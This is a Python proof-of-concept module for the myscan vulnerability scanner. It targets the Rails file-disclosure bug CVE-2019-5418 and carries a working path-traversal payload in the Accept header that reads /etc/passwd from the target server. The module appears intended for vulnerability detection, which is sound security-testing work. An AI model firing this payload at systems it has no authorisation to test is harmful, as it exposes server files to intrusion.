#!/usr/bin/env python3
# @Time    : 2020-05-09
# @Author  : caicai
# @File    : poc_rails_cve-2019-5418_2019.py


import  re
from myscan.lib.helper.request import request
from myscan.lib.core.common import get_random_num, get_random_str, getmd5, getredis
from myscan.lib.parse.dictdata_parser import dictdata_parser
from myscan.lib.parse.response_parser import response_parser


class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "rails_cve-2019-5418"
        self.vulmsg = "referer: https://github.com/vulhub/vulhub/tree/master/rails/CVE-2019-5418"
        self.level = 2  # 0:Low  1:Medium 2:High

    def verify(self):
        # 添加限定条件
        if self.url.endswith("/"):
            return
        if self.output(self.name):
            flag = False
            if "X-Request-Id" in list(
                    self.dictdata.get("response").get("headers").keys()) or "_blog_session" in self.dictdata.get(
                    "request").get("headers").get("Cookie", ""):
                flag = True
            if flag:
                parser = dictdata_parser(self.dictdata)
                headers = self.dictdata.get("request").get("headers")
                headers["Accept"] = "../../../../../../../../etc/passwd{{"
                req = parser.generaterequest({"url": ".".join(self.url.split(".")[:-1]), "headers": headers})
                r = request(**req)
                if r != None and re.search(b"root:[x*]:0:0:", r.content):
                    self.output(self.name, True)
                    parser_ = response_parser(r)
                    self.result.append({
                        "name": self.name,
                        "url": self.url,
                        "level": self.level,  # 0:Low  1:Medium 2:High
                        "detail": {
                            "vulmsg": self.vulmsg,
                            "request": parser_.getrequestraw(),
                            "response": parser_.getresponseraw(),
                        }
                    })
                    return
            # if self.output(self.name+"_test") and flag:
            #     self.output(self.name + "_test", True)
            #     self.result.append({
            #         "name": self.name,
            #         "url": self.url,
            #         "level": 0,  # 0:Low  1:Medium 2:High
            #         "detail": {
            #             "vulmsg": self.vulmsg,
            #             "others": "maybe the website is rails . please provide the router to verify"
            #         }
            #     })



    def output(self, msg, insert=False):
        msg = "/".join(self.url.split("/")[:3]) + " " + msg
        msgmd5 = getmd5(msg)[10:18]
        red = getredis()
        if insert == False:
            if not red.sismember("myscan_max_output", msgmd5):
                return True  # 可以输出
            else:
                # logger.debug("sql boolen moudle : {} 输出个数已达{}上限，不再测试输出".format(msg, self.verify_count))
                return False  # 不可以继续输出
        else:
            # red.hincrby("myscan_max_output", msgmd5, amount=1)
            red.sadd("myscan_max_output", msgmd5)
